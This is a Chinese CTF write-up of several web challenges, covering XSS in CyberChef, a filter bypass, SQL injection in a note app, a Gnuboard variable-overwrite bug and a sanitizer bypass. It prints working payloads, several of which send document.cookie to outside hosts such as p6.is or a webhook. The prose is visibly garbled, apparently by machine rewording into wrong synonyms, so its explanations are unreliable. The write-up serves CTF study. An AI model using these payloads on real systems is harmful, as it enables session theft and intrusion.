0x00 Background
上周六打了POSIX make的6个Web CTF challenge(含一个 revenge)
(有一个只是披着web壳子的pwn,所以就不提了),觉得这些标题有复盘的必要 难度中等 思绪有趣,故写此文
0x01 Cyberchef
开局一个cyberchef
版本比拟新 但是由于他给了一个bot 所以不难猜想应该是个xss,于是 直接github搜issue
https://github.com/gchq/CyberChef/issues/1265
这有一个在scatter chart里面的
由于在<svg>
里面对color这没什么转义 招致能够直接xss
Scatter chart 和Series chart里面都存在
于是直接结构payload 直接打bot就行
#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Edocument.location='webhook.xxx?cookie='%20+%20document.cookie;%3C/script%3E',100,false)&input=MTAwLCAxMDA
然后直接在webhook收米即可
觉得这题很简单 不过是个search题 但是赛后听POSIX说他不晓得有未修复的xss 他其实是想让大家挖他发现的0day的(
import requests
payload = "http://cyberchef:8000/#recipe=JPath_expression('$..%5B?((%7B__proto__:%5B%5D.constructor%7D).constructor(%22self.postMessage(%7Baction:%5C'bakeComplete%5C',data:%7BbakeId:1,dish:%7Btype:1,value:%5C'%5C'%7D,duration:1,error:false,id:undefined,inputNum:2,progress:1,result:%5C'%3Ciframe/onload%3Dfetch(`http://p6.is/flag?${document.cookie}`)%3E%5C',type:%20%5C'html%5C'%7D%7D);%22)();)%5D','%5C%5Cn')&input=W3t9XQ"
print(payload)
res = requests.post('http://1.230.253.91:8001/report', data = {
'url': payload
}, allow_redirects = False)
print(res.text);
print(res.headers);
这里贴出他的预期payload 污染了结构器然后fetch一个xss
0x02 CyberHeadChef
在竞赛中 POSIX就发现了他的标题被非预期了 于是他在bot那里直接ban掉了chart字样
企图让我们不运用 Scatter chart 和Series chart 用他的预期0day
但是他的bot用的是chrome
而chrome阅读器会疏忽一些不可见字符 比方%00
所以很轻松就bypass掉了
#recipe=Scatter_cha%00rt
再发送链接给boot
Get flag
0x03 not_e
一道有意义的标题 首先登录 然后有个发表note的功用
能够看到在这里会插入 title content 最后的req.session.login也就是用户名
产生破绽的中央主要是这里的处置 假如在标题上运用?被交换为空之后 我们就能够注入本人想注入的东西 再将无用的东西注释掉
比方 我们插入
insert into posts values (?, ?, ?, ?)", ["noteid", "?", ",test", "userid"]);
会变成
insert into posts values ("noteid", "",test"", ?, ?)
在能插入的,test这里交换查flag的sql语句即可 然后留意要满足insert的列数
最后payload
title=?&content=,(select flag from flag),'test[]') -- - //留意这里面的test[]是你本人用户名
胜利取得flag
0x04 Gnuboard
我最喜欢的一道题 是一个韩国的系统 并且放出hint是个0day 但并不是个十分hardcore的0day,很快乐本人独立审了出来
首先关注这里 把flag写在common.php里 这并不常见,看到这里我简直能够肯定他并不是让我们rce 可能是文件读取之类的
所以我的战略是关注common.php文件自身和调用common.php的文件
简单看了common.php并没有发现什么很关键的东西
我停止了正则匹配 匹配包含进common.php的文件
最后定位了一个文件 /shop/inicis/instdpay_result.php
我留意到这里有可变变量 那就是可能存在变量掩盖 由于他包含进了common.php 所以我们把$netcanceResultString赋值为flag即可
然后要做的就是察看我们可控点
在这里能够看见 我们要走进代码体首先需求把resultCode设置为0000
并且authtoken authurl netcanceurl 我们都是可控的 着重关注下这些点
察看我们想要走进catch 得到这个可变变量 而且运用的new Httpclient 来恳求网站获取body
所以把authurl设置成一个不可访问的网站 把netCancelUrl设置成我们效劳器的一个页面随意打印出来一个值即可
最终结构payload:
http://1.230.253.91:5000/shop/inicis/inistdpay_result.php?authUrl=https://test.com&resultCode=0000&netCancelUrl=https://效劳器/1.php&a=flag
1.php的内容很容易
<?php
echo "a"
?>
胜利获取到flag
0x05 Marked
一个0解题
/new路由跟not_e一样能发一个note
并且这里面会把markdown to html 但是他用了sanitize过滤
所以我们要留意html的解析器 能够在这里看到他运用了node-html-parser
在竞赛中我也没了思绪 不晓得怎样处理
等到后来posix发了一个脚本
https://github.com/posix-lee/jsfuxx
特地用来fuzz一下能够运用的字符来摧毁node-html-parser来bypass html sanitize
最后放上posix的应用脚本
import requests, random HOST = 'http://1.230.253.91:3000' s = requests.Session() res = s.post(HOST + '/login', { 'username': 'posix', 'password': '1337' }) res = s.post(HOST + '/new', { 'title': 'abcd', 'content': "</header <a><a\t><h<a\x0Bstyle='animation-name:spinner-donut-anim'onanimationend='fetch(`http:\\x2f\\x2fp6.is\\x2fflag\\x2f${document.cookie}`)' " }) print(res.text)
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者